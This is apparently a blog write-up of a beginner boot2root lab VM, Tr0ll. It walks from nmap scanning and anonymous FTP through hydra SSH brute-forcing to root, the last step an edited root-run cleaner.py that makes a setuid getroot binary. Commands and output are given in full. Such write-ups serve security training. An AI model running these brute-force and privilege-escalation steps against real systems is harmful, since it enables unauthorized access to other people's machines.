foreword
Having recently started the road to OSCP, @Maleus21 released Tr0ll on @VulnHub. I figured since the description was Difficulty: Beginner ; Type: boot2root, I could give it a smash in a evening as a bit of distraction.
nomad, promise
As usual, I downloaded the VM, extracted the .rar and slapped it in Virtual Box. I got the IP 192.168.56.101. Promptly a NMAP was run against it:
root@kali:~# nmap -v --reason -sV 192.168.56.101 -p-
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 3.0.2
22/tcp open ssh syn-ack (protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.4.7 ((Ubuntu))
So, ssh, ftp, and http. Naturally my first reaction was to inspect the web service.
The robots.txt file revealed:
User-agent:*
Disallow: /secret
Browsing to /secret revealed yet another interesting piece of art:
Right… A little early to be ‘mad’, but nonetheless, lets move on.
anonny-mouse ftp
A quick and lazy google for vsftpd 3.0.2 exploit didn’t reveal anything interesting on page 1, so I lost interest pretty fast. I figured I can just try my luck and attempt to login to the FTP service with anonymous creds:
root@kali:~# ftp 192.168.56.101
Connected to 192.168.56.101.
220 (vsFTPd 3.0.2)
Name (192.168.56.101:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
500 Illegal PORT command.
ftp: bind: Address already in use
ftp> passive
Passive mode on.
ftp> ls
227 Entering Passive Mode (192,168,56,101,231,190)
150 Here comes the directory listing.
-rwxrwxrwx 1 1000 0 8068 Aug 10 00:43 lol.pcap
226 Directory send OK.
ftp> get lol.pcap
local: lol.pcap remote: lol.pcap
227 Entering Passive Mode (192,168,56,101,189,113)
150 Opening BINARY mode data connection for lol.pcap (8068 bytes).
226 Transfer complete.
8068 bytes received in 0.00 secs (21294.3 kB/s)
ftp> bye
221 Goodbye.
Well that worked, and showed that we have a file lol.pcap to look at. Interesting. I fired up wireshark and opened the pcap. Following the TCP streams it looked like in a previous session there was activity with a file called secret_stuff.txt that is no longer available. I filtered out that stream and continued down the rabbit hole, until I saw the message:
Ok. Well. I tried a few things after this, until eventually I figured it may be a web path. Sooo, off to the website we went and browsed to http://192.168.56.101/sup3rs3cr3tdirlol/. In this path there was a binary called roflmao. I downloaded the bin and did some static analysis (paranoid and all that) to see if I can figure out what it does before running it. Eventually I just made it executable and ran it:
root@kali:~# wget http://192.168.56.101/sup3rs3cr3tdirlol/roflmao
--2014-08-15 07:57:56-- http://192.168.56.101/sup3rs3cr3tdirlol/roflmao
Connecting to 192.168.56.101:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7296 (7.1K)
Saving to: `roflmao'
100%[======>] 7,296 --.-K/s in 0s
2014-08-15 07:57:56 (826 MB/s) - `roflmao' saved [7296/7296]
root@kali:~/Desktop/Tr0ll# chmod +x roflmao
root@kali:~/Desktop/Tr0ll# ./roflmao
Find address 0x0856BF to proceed
Nice. 0x0856BF is not exactly helpful. But what does it mean? From the previous analysis I have done it also looked like the bin is really just printing the string as can be seen above. After some poking around and exchanging ideas with @barrebas on IRC, I remembered that the previous vague hint was a directory on the web site. So, I tried http://192.168.56.101/0x0856BF/:
nohydraplz
Cool! At this stage I was pretty sure there was not much left to gain shell. The folder good_luck had a file called which_one_lol.txt with contents:
maleus
ps-aux
felux
Eagle11
genphlux < -- Definitely not this one
usmc8892
blawrg
wytshadow
vis1t0r
overflow
List of passwords? Dunno. The folder this_folder_contains_the_password had a file Pass.txt with contents:
Good_job_:)
At this stage I figured this had to be either a nicely provided wordlist for some hydra action on the ftp || ssh service. So naturally, I copied the information to a file called list.txt (also made a copy of the genphlux word so that its on its own line), and fired up hydra on ssh:
root@kali:~# hydra -v -V -u -L list -P list -t 1 -u 192.168.56.101 ssh
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
[DATA] attacking service ssh on port 22
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 192.168.56.101 - login "maleus" - pass "maleus" - 1 of 169 [child 0]
[ATTEMPT] target 192.168.56.101 - login "ps-aux" - pass "maleus" - 2 of 169 [child 0]
[ATTEMPT] target 192.168.56.101 - login "felux" - pass "maleus" - 3 of 169 [child 0]
[ATTEMPT] target 192.168.56.101 - login "Eagle11" - pass "maleus" - 4 of 169 [child 0]
[ATTEMPT] target 192.168.56.101 - login "genphlux < -- Definitely not this one" - pass "maleus" - 5 of 169 [child 0]
[ATTEMPT] target 192.168.56.101 - login "genphlux" - pass "maleus" - 6 of 169 [child 0]
[ATTEMPT] target 192.168.56.101 - login "usmc8892" - pass "maleus" - 7 of 169 [child 0]
[ERROR] could not connect to target port 22
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.56.101 - login "usmc8892" - pass "maleus" - 7 of 169 [child 0]
[ERROR] could not connect to target port 22
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.56.101 - login "usmc8892" - pass "maleus" - 7 of 169 [child 0]
Err, the sudden errors only meant one thing… fail2ban.
root@kali:~# nmap -v --reason -Pn 192.168.56.101 -p 22
PORT STATE SERVICE REASON
22/tcp filtered ssh no-response
So, this was the first part that frustrated me and had me going “seriously… :". Maybe this was actually a list of ftp creds? Sadly, that did not seem to be the case either. And so I was stuck once again. Hydra was slowly trickling on once the ssh service was unbanned again, but it was annoying as heck.
first shell
I kept bouncing the VM to get the ssh service back faster, allowing hydra to do it’s thing. Eventually, it was apparent that none of these words as a username/password combination was the correct one.
Returning to the web interface and the word lists, I realized (with some subtle hints and reminders from @barrebas to read everything), that the password may be in this folder (this_folder_contains_the_password). Get it, the Pass.txt is the password…
Right, so I changed hydra slightly to use Pass.txt as a password and continued to brute with the original list.txt as usernames:
root@kali:~# hydra -v -V -u -L list -p "Pass.txt" -t 1 -u 192.168.56.101 ssh
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
[DATA] 1 task, 1 server, 13 login tries (l:13/p:1), ~13 tries per task
[DATA] attacking service ssh on port 22
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 192.168.56.101 - login "maleus" - pass "Pass.txt" - 1 of 13 [child 0]
[ATTEMPT] target 192.168.56.101 - login "ps-aux" - pass "Pass.txt" - 2 of 13 [child 0]
[ATTEMPT] target 192.168.56.101 - login "felux" - pass "Pass.txt" - 3 of 13 [child 0]
[...]
[22][ssh] host: 192.168.56.101 login: overflow password: Pass.txt
Yay overflow:Pass.txt should get us a session via ssh:
root@kali:~/Desktop/Tr0ll# ssh overflow@192.168.56.101
overflow@192.168.56.101's password:
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)
[...]
Could not chdir to home directory /home/overflow: No such file or directory
$ id
uid=1002(overflow) gid=1002(overflow) groups=1002(overflow)
… and root
And so it was time for classic enumeration again. The first strange thing was the fact that it appeared as if all the /home directories apart from /home/troll was deleted. Weird. Other than that, there were a whole bunch of users according to /etc/passwd, and I can’t run anything as root via sudo.
There was a file in /opt/ called lmao.py, however I did not have access to read it. Soooo, more enumeration.
suddenly
Broadcast Message from root@trol
(somewhere) at 16:05 ...
TIMES UP LOL!
Connection to 192.168.56.101 closed by remote host.
Connection to 192.168.56.101 closed.
root@kali:~#
Urgh. Turns out, something is killing my ssh session every 5 minutes. Oh my word, was that annoying. I could handle everything the VM’s offered, but this was probably the worst part of it.
Eventually, I was searching for executable files on the filesystem. I was filtering out a large chunk and gradually paging though results to find that odd one out. To help filter out uninteresting stuff, it looked like the VM was built in August, so I just grep for that in the results, hoping that the thing I should be finding has a more recent timestamp:
overflow@troll:/$ find / -executable -type f 2> /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep Aug
-rwxrwxrwx 1 root root 145 Aug 14 13:11 /lib/log/cleaner.py
-rwx--x--x 1 root root 117 Aug 10 02:11 /opt/lmao.py
-rwxr-xr-x 1 root root 2.4K Aug 27 2013 /sbin/installkernel
-rwxrwxrwx 1 troll root 7.9K Aug 10 00:43 /srv/ftp/lol.pcap
A few interesting results came from that, however, the one that held the golden nugget was /lib/log/cleaner.py. During my enumeration I noticed that /tmp got cleaned out at a really strange time as I was still trying to less a file in there, however, it just disappeared.
Anyways, as cleaner.py was owned by root and running os.system, I just modified it to prepare me a classic getroot binary:
#!/usr/bin/env python
import os
import sys
try:
os.system('chown root:root /var/tmp/getroot; chmod 4755 /var/tmp/getroot ')
except:
sys.exit()
I waited for that annoying ‘Times UP’ message, and inspected /var/tmp:
overflow@troll:/$ ls -lah /var/tmp/
total 24K
drwxrwxrwt 2 root root 4.0K Aug 14 13:11 .
drwxr-xr-x 12 root root 4.0K Aug 10 03:56 ..
-rwxrwxrwx 1 root root 34 Aug 13 01:16 cleaner.py.swp
-rwsr-xr-x 1 root root 7.2K Aug 14 13:09 getroot
-rw-rw-r-- 1 overflow overflow 71 Aug 14 13:09 sh.c
overflow@troll:/$ /var/tmp/getroot
#
# id
uid=0(root) gid=1002(overflow) groups=0(root),1002(overflow)
# ls /root
proof.txt
# cat /root/proof.txt
Good job, you did it!
702a8c18d29c6f3ca0d99ef5712bfbdc
#
for the curious
That really annoying session that keeps dying? Turns out its /opt/lmao.py to blame:
# cat /opt/lmao.py
#!/usr/bin/env python
import os
os.system('echo "TIMES UP LOL!"|wall')
os.system("pkill -u 'overflow'")
sys.exit()
#
Thanks @maleus21 for the VM!